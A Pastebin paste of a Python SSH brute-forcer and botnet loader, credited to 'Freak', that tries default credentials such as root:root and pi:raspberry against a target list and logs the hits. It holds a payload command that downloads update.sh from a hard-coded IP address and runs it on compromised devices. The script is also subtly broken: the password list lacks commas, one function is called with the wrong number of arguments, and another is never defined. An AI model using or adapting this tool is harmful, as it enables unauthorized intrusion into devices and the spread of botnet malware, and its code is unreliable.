Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #Phaaaat hax SSH loader by Freak
- import sys, re, os, paramiko, socket
- from threading import Thread
- from time import sleep
- if len(sys.argv) < 2:
- sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
- paramiko.util.log_to_file("/dev/null")
- rekdevice="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://80.82.70.225/update.sh; busybox wget http://80.82.70.225/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
- print "\033[31m"
- print "S-S-SUUUPER fast SSH bruter by Freak"
- print
- threads = int(raw_input("Threads: "))
- lines = open(sys.argv[1],"r").readlines()
- fh = open("vulnz.txt","a+")
- def chunkify(lst,n):
- return [ lst[i::n] for i in xrange(n) ]
- running = 0
- passwords = [
- "admin:admin"
- "root:root"
- "root:admin"
- "telnet:telnet"
- "guest:guest"
- "admin:admin"
- "admin:1234"
- "pi:raspberry"
- "vagrant:vagrant"
- "ubnt:ubnt"
- ]
- def haxit(username,password,ip,fh):
- for passwd in passwords:
- try:
- port = 22
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- ssh.connect(ip, port = port, username=passwd.split(":")[0], password=passwd.split(":")[1], timeout=3)
- ssh.close()
- print "Freaks next root ->"+ passwd + ":" + ip
- fh.write(passwd + ":" + ip + "\n")
- fh.flush()
- except:
- pass
- def check(chunk, fh):
- global running
- running += 1
- threadID = running
- for login in chunk:
- login = login.replace("DUP ", "")
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(3)
- try:
- s.connect((login.split(":")[2], 22))
- s.close()
- haxit(login.split(":")[0], login.split(":")[1], login.split(":")[2])
- except:
- pass
- running -= 1
- lines = map(lambda s: s.strip(), lines) # remove all newlines
- chunks = chunkify(lines, threads) # make seperate chunk for each thread
- print "STARTING SCAN AND BRUTE!!!"
- Thread(target = printStatus, args = ()).start()
- for thread in xrange(0,threads):
- if thread >= 384:
- sleep(0.2)
- try:
- Thread(target = check, args = (chunks[thread], fh,)).start()
- except:
- pass
- print "Scanning... Press enter 3 times to stop."
- for i in range(0,3):
- raw_input()
- fh.close()
- os.popen("kill -9 " + str(os.getpid()))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement